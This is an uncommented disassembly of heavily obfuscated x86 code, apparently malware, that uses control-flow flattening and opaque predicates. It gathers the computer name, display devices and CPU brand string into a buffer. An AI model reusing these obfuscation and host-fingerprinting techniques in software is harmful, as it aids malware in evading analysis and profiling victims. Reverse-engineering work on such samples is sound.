mov eax, dword [esi + 8]
shl eax, 0xc
or eax, 0x1ce
imul edi, eax, 0xaa
mov dword [esi + 8], edi
push edi
call fcn.00435818
add esp, 4
push edi
call fcn.00435818
add esp, 4
mov dword [esi + 4], 0xe2e8a630
jmp 0x435830
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xc8]
mov ecx, dword [esi + 0xcc]
mov dword [esi + 0x19c], eax
mov dword [esi + 4], 0x1af124cf
jmp 0x435830
mov eax, dword [esi + 0xc]
mov ecx, 0xffffff22
add eax, ecx
shr eax, 0xd
mov ecx, eax
imul ecx, eax
shl eax, 5
add eax, 0xf20
imul edx, ecx, 0x6ebb
dec edx
mov dword [esi + 0xc], eax
mov eax, 0x1401a1cc
cmp edx, ecx
je 0x43b136
mov eax, 0xf0558411
jmp 0x43b136
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x80], eax
mov dword [esi + 4], 0x8c9a7c36
jmp 0x435830
mov eax, dword [esi + 0xc]
inc eax
mov ecx, eax
shr ecx, 0xd
imul ecx, ecx
shr eax, 0x19
imul edx, ecx, 0x3dab
dec edx
add eax, 0x8a
mov dword [esi + 0xc], eax
mov eax, 0x6d1dd2ca
cmp ecx, edx
je 0x43b136
mov eax, 0xab04b21d
jmp 0x43b136
mov eax, dword [esi + 0xc]
lea ecx, [eax - 0x6f]
imul ecx, ecx
imul edx, ecx, 0x868b
dec edx
add eax, 0xffffff84
mov dword [esi + 0xc], eax
mov eax, 0x8a93974e
cmp edx, ecx
je 0x43b136
mov eax, 0x55e9cc84
jmp 0x43b136
push dword [esi + 0x10]
call fcn.00450770
add esp, 4
mov dword [esi + 0x190], eax
mov dword [esi + 4], 0x90a7d722
jmp 0x435830
mov eax, dword [esi + 0x128]
mov ecx, dword [esi + 0x12c]
shrd eax, ecx, 0xa
shr ecx, 0xa
mov dword [esi + 0x134], ecx
mov dword [esi + 0x130], eax
mov dword [esi + 4], 0x8509b7d8
jmp 0x435830
mov eax, dword [esi + 0x40]
mov eax, dword [esi + 0x3c]
mov eax, dword [esi + 0x18]
mov dword [esi + 4], 0xcf0ed0fc
jmp 0x435830
mov ecx, dword [esi + 8]
mov eax, 0xfffffe37
add ecx, eax
mov eax, ecx
shr eax, 0xc
add eax, 0xffffff4b
mov dword [esi + 8], eax
mov eax, 0x82fc375f
cmp ecx, 0xc0000
jb 0x43af23
mov eax, 0x58d7c070
jmp 0x43af23
imul ecx, dword [esi + 8], 0x4e0
add ecx, 0x860
mov dword [esi + 8], ecx
mov eax, 0x92472d11
cmp ecx, 0x53
jb 0x43af23
mov eax, 0xf4d683d7
jmp 0x43af23
imul eax, dword [esi + 0xc], 0x91f38000
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xb66cf8ed
jmp 0x435830
mov edi, dword [esi + 8]
shl edi, 0xa
add edi, 0xffd08000
and edi, 0xfff80000
mov dword [esi + 8], edi
push 0x57d7
push 0x3c9f
push 0x3228
push edi
call fcn.0043b2c0
add esp, 0x10
push edi
push 0x5690
push 0x581f
call fcn.00425c83
add esp, 0xc
mov dword [esi + 4], 0x996aa53e
jmp 0x435830
mov eax, dword [esi + 8]
shl eax, 0x16
add eax, 0xdbbf7100
shr eax, 7
mov dword [esi + 8], eax
mov dword [esi + 4], 0x427e6b9c
jmp 0x435830
mov edi, dword [esi + 8]
shl edi, 0xc
add edi, 0xfff43fd5
mov dword [esi + 8], edi
push edi
call fcn.00435818
add esp, 4
mov eax, 0x9f39c676
cmp edi, 0x24
jge 0x439313
jmp 0x43b136
mov eax, dword [esi + 0xc]
mov ecx, 0xffffff4a
add eax, ecx
shr eax, 4
imul ecx, eax, 0x4506
imul eax, eax
imul edx, eax, 0x6d09
dec edx
add ecx, 0xfffff303
mov dword [esi + 0xc], ecx
mov ecx, 0x222ed80b
cmp eax, edx
je 0x43b173
mov ecx, 0x2e3110c5
jmp 0x43b173
mov eax, dword [esi + 8]
add eax, 0x54
shr eax, 2
and eax, 0x3ffffe00
imul ecx, eax, 0x26
mov dword [esi + 8], ecx
mov eax, 0x1b9c2852
test ecx, ecx
je 0x43af23
mov eax, 0x3825f49b
jmp 0x43af23
mov eax, dword [esi + 0xc]
lea eax, [eax*4 - 0x40]
shr eax, 4
add eax, 7
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x3325a9b7
jmp 0x435830
mov eax, dword [esi + 8]
mov ecx, eax
shl ecx, 7
lea edi, [eax + ecx]
add edi, 0xfffff7f0
mov dword [esi + 8], edi
push 0x586a
push edi
push 0x3ba8
call fcn.00425c83
add esp, 0xc
mov eax, 0xf44ecfb2
cmp edi, 0x60
jl 0x43af23
mov eax, 0x8410c221
jmp 0x43af23
mov eax, dword [esi + 0xc]
add eax, 0xffffffe4
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x85ed
dec edx
shr eax, 5
and eax, 0x7ffff
mov dword [esi + 0xc], eax
mov eax, 0x1171bc90
cmp edx, ecx
je 0x43b136
mov eax, 0xe0ce4395
jmp 0x43b136
mov eax, dword [esi + 0xc]
shr eax, 0xb
lea ecx, [eax - 0x2e]
imul eax, eax
imul edx, eax, 0x874b
dec edx
shr ecx, 5
mov dword [esi + 0xc], ecx
mov ecx, 0x8410c221
cmp edx, eax
je 0x43b173
mov ecx, 0xa87d953
jmp 0x43b173
mov eax, dword [esi + 0x74]
mov dword [eax], 0xa424d
push dword [esi + 0x74]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
mov eax, dword [esi + 0x78]
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x104], eax
mov eax, dword [esi + 0x104]
mov word [eax + 0x14], 0
push 0x14
push 0x468c20
push dword [esi + 0x104]
call fcn.004441d0
add esp, 0xc
push 5
push 0x468c34
push 0xa
push dword [esi + 0x104]
call fcn.0043b1a0
add esp, 0x10
mov dword [esi + 4], 0x52f1c848
jmp 0x435830
mov eax, dword [esi + 0x20]
add eax, 4
push 0x1a4
xor edi, edi
push edi
push eax
call fcn.00444cd0
add esp, 0xc
mov eax, dword [esi + 0x20]
mov dword [eax], 0x1a8
push edi
push dword [esi + 0x20]
push edi
push edi
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
mov eax, dword [esi + 0x6c]
mov dword [esi + 4], 0xff6a3c06
jmp 0x435830
mov dword [esi + 4], 0xb218a53a
jmp 0x435830
mov eax, dword [esi + 0xbc]
add eax, 0x14
mov dword [esi + 0x184], eax
mov dword [esi + 4], 0xd02223be
jmp 0x435830
mov edi, dword [esi + 8]
add edi, 0x1a
shr edi, 4
mov dword [esi + 8], edi
push 0x1216
push 0xa5f
push edi
push 0x33c2
call fcn.0043b2c0
add esp, 0x10
push edi
call fcn.00435818
add esp, 4
mov eax, 0x1f64fb16
cmp edi, 0xbd
je 0x43af23
mov eax, 0xede0b7b1
jmp 0x43af23
imul eax, dword [esi + 8], 0x46
add eax, 0xffffff44
mov dword [esi + 8], eax
push 0x376b
push 0x16c0
push eax
push 0x4a98
call fcn.0043b1a0
add esp, 0x10
mov dword [esi + 4], 0xfbe92400
jmp 0x435830
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
push dword [esi + 0x18]
push dword [esi + 0x38]
push 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x3c]
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xa0], eax
mov eax, dword [esi + 0xa0]
mov byte [eax + 0xa], 0
mov dword [esi + 4], 0x425df280
jmp 0x435830
push dword [esi + 0x10]
call fcn.00450770
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x24]
mov dword [esi + 4], 0x2e8e5f5e
jmp 0x435830
mov eax, dword [esi + 0xc]
mov ecx, 0xffffff61
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x716f
dec edx
shr eax, 0xf
add eax, eax
add eax, 0xffffff3a
mov dword [esi + 0xc], eax
mov eax, 0x150f2f51
cmp ecx, edx
jne 0x43b038
jmp 0x43b136
mov edx, dword [esi + 0xc]
imul eax, edx, 0xdf
imul eax, eax
imul ecx, eax, 0x65ad
imul edx, edx, 0x37c0000
dec ecx
shr edx, 3
and edx, 0x1e000000
or edx, 0xe
mov dword [esi + 0xc], edx
mov edx, 0x7f31619f
cmp ecx, eax
je 0x438c66
mov edx, 0x87978f14
mov dword [esi + 4], edx
jmp 0x435830
mov dword [esi + 4], 0xa63b2d64
jmp 0x435830
mov dword [esi + 4], 0xa520232e
jmp 0x435830
mov eax, dword [esi + 8]
shr eax, 4
mov ecx, eax
shl ecx, 7
lea ecx, [ecx + eax*8]
mov dword [esi + 8], ecx
mov eax, 0x1b9c2852
cmp ecx, 0x47
jge 0x439313
jmp 0x43b136
mov eax, dword [esi + 0x1b4]
mov ecx, dword [esi + 0x1c0]
mov dword [ecx], eax
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1b8]
mov dword [eax + 0x18], ecx
mov dword [esi + 4], 0x98fbf505
jmp 0x435830
mov ecx, dword [esi + 0xc]
lea eax, [ecx + 0x27]
imul eax, eax
imul edx, eax, 0x2a8f
dec edx
imul ecx, ecx, 0x3a
add ecx, 0xfffff2a2
mov dword [esi + 0xc], ecx
mov ecx, 0x9c9ae2ee
cmp edx, eax
je 0x43b173
mov ecx, 0x9659fc8b
jmp 0x43b173
imul ecx, dword [esi + 0xc], 0xf9
mov eax, ecx
imul eax, ecx
add ecx, 0x1a
imul edx, eax, 0x3ccb
dec edx
shr ecx, 7
mov dword [esi + 0xc], ecx
mov ecx, 0x6d1dd2ca
cmp eax, edx
je 0x43b173
mov ecx, 0xe2fec062
jmp 0x43b173
mov eax, dword [esi + 8]
shr eax, 0x11
imul eax, eax, 0x3a
add eax, 0x123
mov dword [esi + 8], eax
mov dword [esi + 4], 0x67fbd7ba
jmp 0x435830
mov eax, dword [esi + 0xc]
shl eax, 0xf
add eax, 0x430000
shr eax, 0xd
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x44c10536
jmp 0x435830
imul ecx, dword [esi + 8], 0x36f6
add ecx, 0xffffffae
mov dword [esi + 8], ecx
mov eax, 0x1f64fb16
cmp ecx, 0xed
jl 0x439715
jmp 0x43b136
mov eax, dword [esi + 0x178]
mov eax, dword [eax]
mov dword [esi + 0x17c], eax
mov dword [esi + 4], 0x8da7a2e7
jmp 0x435830
mov eax, dword [esi + 8]
shl eax, 0xa
add eax, 0x39000
mov dword [esi + 8], eax
mov dword [esi + 4], 0x6f4f0b35
jmp 0x435830
mov edi, dword [esi + 8]
add edi, 0x17
mov dword [esi + 8], edi
push 0x2d
push 0x9b0
push edi
call fcn.00425c83
add esp, 0xc
mov eax, 0xaff9186a
cmp edi, 0x5e
jl 0x43b136
mov eax, 0xf7292251
jmp 0x43b136
mov eax, dword [esi + 8]
mov ecx, 0xffffff08
add eax, ecx
shr eax, 5
and eax, 0x7ffff00
or eax, 0x69
mov dword [esi + 8], eax
mov dword [esi + 4], 0xc5819afb
jmp 0x435830
mov eax, dword [esi + 8]
shr eax, 1
imul edi, eax, 0x6f0
add edi, 0x970
shr edi, 0xe
mov dword [esi + 8], edi
push 0x4e91
push 0x1a72
push edi
call fcn.00425c83
add esp, 0xc
push edi
call fcn.00435818
add esp, 4
mov eax, 0xe38d4443
cmp edi, 0x99
jne 0x439f16
jmp 0x43b136
mov edi, dword [esi + 8]
shl edi, 0x11
or edi, 0xa5
mov dword [esi + 8], edi
call fcn.00407763
push 0x1ba0
push edi
push 0x3448
call fcn.00425c83
add esp, 0xc
mov eax, 0xb900e2fe
cmp edi, 0xd6
jl 0x43af23
mov eax, 0x55e9cc84
jmp 0x43af23
mov eax, dword [esi + 0xc]
shr eax, 4
and eax, 0xfffff
lea ecx, [eax*8 + 7]
imul eax, eax
imul edx, eax, 0x7523
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xe2fec062
cmp edx, eax
je 0x43b173
mov ecx, 0x5d2b445
jmp 0x43b173
movzx edi, byte [esi + 0xb]
and edi, 0xfffffffc
add edi, 0xffffff97
mov dword [esi + 8], edi
push 0x4efe
push edi
push 0x4192
call fcn.00425c83
add esp, 0xc
push edi
push 0x193d
push 0x410c
push 0xeb1
call fcn.0043b2c0
add esp, 0x10
mov dword [esi + 4], 0x9e42c244
jmp 0x435830
mov eax, dword [esi + 0x34]
mov dword [esi + 4], 0xce7ace38
jmp 0x435830
mov eax, dword [esi + 0x18c]
mov word [eax], pe_nt_image_headers32
push dword [esi + 0x10c]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
mov dword [esi + 4], 0xc45b011c
jmp 0x435830
mov ebx, dword [esi + 8]
shr ebx, 4
lea edi, [ebx*4 - 0xa1]
shl ebx, 2
mov dword [esi + 8], edi
push 0x517c
push edi
push 0xa2f
call fcn.00425c83
add esp, 0xc
push 0x587e
push 0x36ff
push edi
call fcn.00425c83
add esp, 0xc
mov eax, 0x8e6e61a8
cmp ebx, 0x172
jae 0x43af23
mov eax, 0x9c2fd435
jmp 0x43af23
push eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x100], eax
mov dword [esi + 4], 0x5eb38df1
jmp 0x435830
mov ecx, dword [esi + 8]
add ecx, 0x43
mov dword [esi + 8], ecx
mov eax, 0x2ba63e6d
cmp ecx, 0xe1
jl 0x43af23
mov eax, 0x34af77a1
jmp 0x43af23
mov eax, dword [esi + 0x1d8]
mov byte [eax], 0
mov eax, dword [esi + 0xf8]
mov ecx, dword [0x474205]
mov dword [eax + 8], ecx
mov ecx, dword [0x474201]
mov dword [eax + 4], ecx
mov ecx, dword [0x4741fd]
mov dword [eax], ecx
push 5
push 0x474209
push 0xc
push dword [esi + 0xf8]
call fcn.0043b2c0
add esp, 0x10
mov eax, dword [esi + 0x68]
mov ecx, dword [esi + 0xf8]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x68]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
push dword [esi + 0x14]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
push dword [esi + 0x10]
call fcn.00450770
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x1dc], eax
mov dword [esi + 4], 0x2ba63e6d
jmp 0x435830
mov ecx, dword [esi + 8]
shl ecx, 0x15
mov eax, 0x1afdfd7
add ecx, 0xf3e00000
mov dword [esi + 8], ecx
je 0x43af23
mov eax, 0x36d9640b
jmp 0x43af23
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x5c], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x60], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x64], eax
mov dword [esi + 4], 0xe57461c3
jmp 0x435830
mov dword [esi + 4], 0x1f64fb16
jmp 0x435830
imul eax, dword [esi + 8], 0x8900
or eax, 0x78
mov dword [esi + 8], eax
push eax
push 0x590c
push 0x3adc
call fcn.00425c83
add esp, 0xc
mov dword [esi + 4], 0xd57c854
jmp 0x435830
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xc4], eax
mov eax, dword [esi + 0xc4]
mov byte [eax + 0xc], 0
mov eax, dword [esi + 0xc4]
mov ecx, dword [0x4741f3]
mov dword [eax + 8], ecx
mov ecx, dword [0x4741ef]
mov dword [eax + 4], ecx
mov ecx, dword [0x4741eb]
mov dword [eax], ecx
mov dword [esi + 4], 0x6b36a75c
jmp 0x435830
mov eax, dword [esi + 8]
shr eax, 0xf
imul eax, eax, 0xf80
add eax, 0x1020
and eax, 0xffffff80
imul ecx, eax, 0x66
mov dword [esi + 8], ecx
mov eax, 0x6145a3fc
cmp ecx, 0xe1
jl 0x43af23
mov eax, 0xaf92ce38
jmp 0x43af23
imul edi, dword [esi + 8], 0x7000
add edi, 0xfff5f000
mov eax, edi
shr eax, 4
mov dword [esi + 8], eax
push eax
call fcn.00435818
add esp, 4
call fcn.00407763
mov eax, 0x173755c
test edi, edi
je 0x43af23
mov eax, 0xc5819afb
jmp 0x43af23
mov eax, dword [esi + 0xb8]
mov byte [eax + 8], 0
mov eax, dword [esi + 0xb8]
mov ecx, dword [0x4741c7]
mov dword [eax + 4], ecx
mov ecx, dword [0x4741c3]
mov dword [eax], ecx
push 5
push 0x4741cb
push 8
push dword [esi + 0xb8]
call fcn.0043b2c0
add esp, 0x10
mov eax, dword [esi + 0x5c]
mov ecx, dword [esi + 0xb8]
mov dl, byte [ecx + 8]
mov byte [eax + 8], dl
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x5c]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
mov dword [esi + 4], 0xa934331e
jmp 0x435830
imul eax, dword [esi + 0xc], 0x65
add eax, 7
imul ecx, eax, 0xb6
imul eax, eax
imul edx, eax, 0x3a87
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xf44ecfb2
cmp edx, eax
je 0x43b173
mov ecx, 0x12952900
jmp 0x43b173
imul ebx, dword [esi + 8], 0xa700
mov edi, 0x73876ae7
add ebx, 0x1000
mov dword [esi + 8], ebx
je 0x43926d
mov edi, 0x2709ba19
push 0x5ade
push 0xd78
push ebx
push 0x515d
call fcn.0043b1a0
add esp, 0x10
push 0x29a8
push ebx
push 0x3dc4
call fcn.00425c83
add esp, 0xc
mov dword [esi + 4], edi
jmp 0x435830
mov ecx, dword [esi + 8]
shl ecx, 0xb
add ecx, 0xfffb96fc
mov eax, ecx
shr eax, 7
mov dword [esi + 8], eax
mov eax, 0x6b36a75c
cmp ecx, 0x2100
jae 0x43af23
mov eax, 0xc7289447
jmp 0x43af23
mov eax, dword [esi + 8]
lea eax, [eax + eax*4]
lea edi, [eax + eax]
add edi, 0xffffff19
mov dword [esi + 8], edi
push edi
push 0x610d
push 0x113f
push 0x5064
call fcn.0043b2c0
add esp, 0x10
push edi
call fcn.00435818
add esp, 4
mov eax, 0xe112a8d8
cmp edi, 0xac
jae 0x43b136
mov eax, 0x8eaab81d
jmp 0x43b136
mov eax, dword [esi + 0x13c]
xor ebx, ebx
inc ebx
push ebx
call eax
mov dword [esi + 0x140], eax
push ebx
mov edi, 0x20
push edi
call fcn.0044f313
add esp, 8
mov dword [esi + 0x108], eax
push ebx
push edi
call fcn.0044f313
add esp, 8
mov dword [esi + 0x10c], eax
mov dword [esi + 4], 0x1b9c2852
jmp 0x435830
mov dword [esi + 4], 0xf59aa411
jmp 0x435830
mov eax, dword [esi + 0x38]
mov eax, dword [esi + 0x34]
mov dword [esi + 4], 0xa30b2c58
jmp 0x435830
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x94], eax
mov dword [esi + 4], 0x5c26d242
jmp 0x435830
mov dword [esi + 4], 0x36c848d1
jmp 0x435830
mov dword [esi + 4], 0xbb71be43
jmp 0x435830
push dword [esi + 0x3c]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
push dword [esi + 0x38]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
push dword [esi + 0x10]
call fcn.00450770
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x160], eax
mov dword [esi + 4], 0x7c4f8091
jmp 0x435830
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x190]
mov word [eax + ecx], 0xa
mov dword [esi + 4], 0x674fda92
jmp 0x435830
imul edi, dword [esi + 8], 0xd80
add edi, 0x248
mov dword [esi + 8], edi
push 0x51f7
push 0x25d8
push edi
push 0x3806
call fcn.0043b1a0
add esp, 0x10
push 0xa85
push 0x2aa0
push 0xaf6
push edi
call fcn.0043b1a0
add esp, 0x10
mov dword [esi + 4], 0x719fe0ff
jmp 0x435830
push 5
push 0x468bd8
push 0xc
push dword [esi + 0xc0]
call fcn.0043b1a0
add esp, 0x10
mov dword [esi + 4], 0xd2823ab7
jmp 0x435830
imul eax, dword [esi + 0xc], 0xd2000
or eax, 0x193
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x3b0a7754
jmp 0x435830
mov eax, dword [esi + 0x80]
mov word [eax + 0x14], 0
push 0x14
push 0x468b30
push dword [esi + 0x80]
call fcn.004441d0
add esp, 0xc
push 8
push 0x468b44
push 0xa
push dword [esi + 0x80]
call fcn.0043b1a0
add esp, 0x10
push dword [esi + 0x80]
push 0x3d95e230
call fcn.0043eca4
add esp, 8
mov dword [esi + 0x13c], eax
mov dword [esi + 4], 0xc02aa3de
jmp 0x435830
push 2
push 0x55
call fcn.0044f313
add esp, 8
mov dword [esi + 0x11c], eax
mov dword [esi + 4], 0x753381f7
jmp 0x435830
mov eax, dword [esi + 0xc]
mov ecx, 0xea
add eax, ecx
shr eax, 1
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0xe71
shl eax, 0xc
dec edx
add eax, 0x99014
mov dword [esi + 0xc], eax
mov eax, 0xede0b7b1
cmp ecx, edx
je 0x43b136
mov eax, 0xdea971bc
jmp 0x43b136
push 1
push 0x800
call fcn.0044f313
add esp, 8
mov dword [esi + 0x118], eax
mov dword [esi + 4], 0x4160e19b
jmp 0x435830
mov eax, dword [esi + 8]
shl eax, 9
or eax, 0x7c
lea edi, [eax + eax*4]
lea eax, [eax + eax*4]
add eax, 0xffffff9c
mov dword [esi + 8], eax
push eax
push 0x10aa
push 0x4531
call fcn.00425c83
add esp, 0xc
mov eax, 0xfc921bf5
cmp edi, 0x15b
jge 0x43af23
mov eax, 0xc7f149d1
jmp 0x43af23
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x164]
mov word [eax + ecx], 0xa
mov dword [esi + 4], 0x9dfccdd7
jmp 0x435830
imul eax, dword [esi + 0xc], 0xd2
add eax, 0xffffff9b
shr eax, 3
add eax, 0x23
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x408dfb0c
jmp 0x435830
mov eax, dword [esi + 0x20]
mov eax, dword [esi + 0x68]
mov eax, dword [esi + 0x64]
mov eax, dword [esi + 0x60]
mov dword [esi + 4], 0xfe9cbc93
jmp 0x435830
mov eax, dword [esi + 0xc]
mov ecx, 0xffffff62
add eax, ecx
mov ecx, eax
shr ecx, 8
imul eax, eax
imul edx, eax, 0x248f
dec edx
add ecx, 0x41
shr ecx, 4
mov dword [esi + 0xc], ecx
mov ecx, 0x375c1a1a
cmp edx, eax
je 0x43b173
mov ecx, 0xaff9186a
jmp 0x43b173
imul eax, dword [esi + 8], 0xd238
add eax, 0xffcb8b29
mov dword [esi + 8], eax
mov dword [esi + 4], 0xa7677bda
jmp 0x435830
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xe0]
mov dword [esi + 0x1b8], eax
mov dword [esi + 4], 0xba6311c4
jmp 0x435830
push 0x1e
push dword [esi + 0x100]
push dword [esi + 0x70]
call fcn.004441d0
add esp, 0xc
push dword [esi + 0x70]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
push dword [esi + 0x124]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
mov dword [esi + 4], 0xfee0ed44
jmp 0x435830
mov eax, dword [esi + 8]
shl eax, 5
add eax, 0x311e20
shr eax, 0xd
and eax, 0xfffffffe
mov dword [esi + 8], eax
call fcn.00407763
mov dword [esi + 4], 0xfca43b8f
jmp 0x435830
mov edi, dword [esi + 8]
shl edi, 0xb
add edi, 0xfffffe78
mov dword [esi + 8], edi
push edi
push 0x3655
push 0x8e4
push 0x36f8
call fcn.0043b1a0
add esp, 0x10
call fcn.00407763
mov eax, 0x2cecd9f4
cmp edi, 0x55
jge 0x43b136
mov eax, 0x719fe0ff
jmp 0x43b136
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x1c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x58], eax
mov dword [esi + 4], 0x630b484b
jmp 0x435830
imul ecx, dword [esi + 8], 0x9b
add ecx, 0x93bc
mov dword [esi + 8], ecx
mov eax, 0x9c2fd435
cmp ecx, 0xcf
jl 0x43af23
mov eax, 0x2f07c3be
jmp 0x43af23
mov eax, dword [esi + 0x1c]
mov eax, dword [eax]
mov dword [esi + 0x174], eax
mov dword [esi + 4], 0x3354f554
jmp 0x435830
mov edi, dword [esi + 8]
shl edi, 0xf
add edi, 0xffea80c3
mov eax, edi
shr eax, 4
mov dword [esi + 8], eax
call fcn.00407763
mov eax, 0xac4128e7
cmp edi, 0xe60
jb 0x43b136
mov eax, 0xe38d4443
jmp 0x43b136
mov ecx, dword [esi + 0xc]
lea eax, [ecx + 0xd4]
imul eax, eax
imul edx, eax, 0x7213
dec edx
imul ecx, ecx, 0xc6000
add ecx, 0xcb6a000
mov dword [esi + 0xc], ecx
mov ecx, 0xe2e8a630
cmp edx, eax
je 0x43b173
mov ecx, 0xd562ff25
jmp 0x43b173
mov eax, dword [esi + 0x3c]
mov ecx, dword [esi + 0xa0]
mov edx, dword [ecx + 7]
mov dword [eax + 7], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0x15fa78a4
jmp 0x435830
imul eax, dword [esi + 0xc], 0x2c000
add eax, 0xfcb94000
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x2b64cc5d
jmp 0x435830
imul ecx, dword [esi + 8], 0x1d20
add ecx, 0x641e
mov dword [esi + 8], ecx
mov eax, 0xbde0d5d0
cmp ecx, 0xea
jae 0x43af23
mov eax, 0x1b9c2852
jmp 0x43af23
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xa4], eax
mov eax, dword [esi + 0xa4]
mov byte [eax + 0xd], 0
mov eax, dword [esi + 0xa4]
mov cl, byte [0x47414f]
mov byte [eax + 0xc], cl
mov ecx, dword [0x47414b]
mov dword [eax + 8], ecx
mov ecx, dword [0x474147]
mov dword [eax + 4], ecx
mov ecx, dword [0x474143]
mov dword [eax], ecx
mov dword [esi + 4], 0x5e631d97
jmp 0x435830
mov eax, dword [esi + 0xc]
shr eax, 0xd
mov ecx, eax
shl ecx, 7
lea ecx, [ecx + eax*4]
add ecx, 0xffffe194
mov edx, eax
imul edx, eax
imul edi, edx, 0x84ff
dec edi
mov dword [esi + 0xc], ecx
mov eax, 0xa953ddc3
cmp edi, edx
je 0x43b136
mov eax, 0x1314e9f5
jmp 0x43b136
mov eax, dword [esi + 0x18]
mov dword [esi + 4], 0xe112a8d8
jmp 0x435830
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xd8]
mov ecx, dword [esi + 0xdc]
mov dword [esi + 0x1b0], eax
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xdc]
mov dword [esi + 0x1b4], eax
mov dword [esi + 4], 0x486cf2cd
jmp 0x435830
mov eax, dword [esi + 0xc0]
mov word [eax + 0x18], 0
push 0x18
push 0x468bc0
push dword [esi + 0xc0]
call fcn.004441d0
add esp, 0xc
mov dword [esi + 4], 0x366a8f86
jmp 0x435830
mov ecx, dword [esi + 8]
add ecx, 8
mov eax, ecx
shr eax, 0x14
mov dword [esi + 8], eax
mov eax, 0xfb735db9
cmp ecx, 0xcb00000
jae 0x43af23
mov eax, 0xa572ca24
jmp 0x43af23
mov eax, dword [esi + 0x24]
xor ecx, ecx
mov dword [eax + 4], ecx
mov dword [eax], ecx
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0xfc], eax
mov eax, dword [esi + 0xfc]
mov word [eax + 0x18], 0
mov dword [esi + 4], 0x9d4ee772
jmp 0x435830
mov eax, 0x80000004
xor ecx, ecx
cpuid
mov dword [esi + 0xe8], eax
mov dword [esi + 0xec], ebx
mov dword [esi + 0xf0], ecx
mov dword [esi + 0xf4], edx
mov eax, dword [esi + 0xec]
mov eax, dword [esi + 0xf0]
mov eax, dword [esi + 0xf4]
mov eax, dword [esi + 0xe8]
mov dword [esi + 0x1c4], eax
mov dword [esi + 4], 0xb11ae242
jmp 0x435830
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0xc0], eax
mov dword [esi + 4], 0x9c2fd435
jmp 0x435830
push eax
sub esp, 8
mov edi, esp
mov byte [edi + 8], 0
mov eax, dword [0x474129]
mov dword [edi + 4], eax
mov eax, dword [0x474125]
mov dword [edi], eax
push 5
push 0x47412d
push 8
push edi
call fcn.0043b2c0
add esp, 0x10
mov eax, dword [esi + 0x34]
mov cl, byte [edi + 8]
mov byte [eax + 8], cl
mov ecx, dword [edi]
mov edx, dword [edi + 4]
mov dword [eax + 4], edx
mov dword [eax], ecx
push dword [esi + 0x34]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
push dword [esi + 0x114]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
push dword [esi + 0x10]
call fcn.00450770
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0xb3ca34d2
jmp 0x435830
mov eax, dword [esi + 0xc]
lea ecx, [eax - 0x4b]
imul ecx, ecx
imul edx, ecx, 0x3605
dec edx
add eax, eax
add eax, 0xfffffe50
mov dword [esi + 0xc], eax
mov eax, 0xe6fb631d
cmp ecx, edx
je 0x43b136
mov eax, 0x7f31619f
jmp 0x43b136
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x4c], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x50], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x54], eax
mov dword [esi + 4], 0xe38d4443
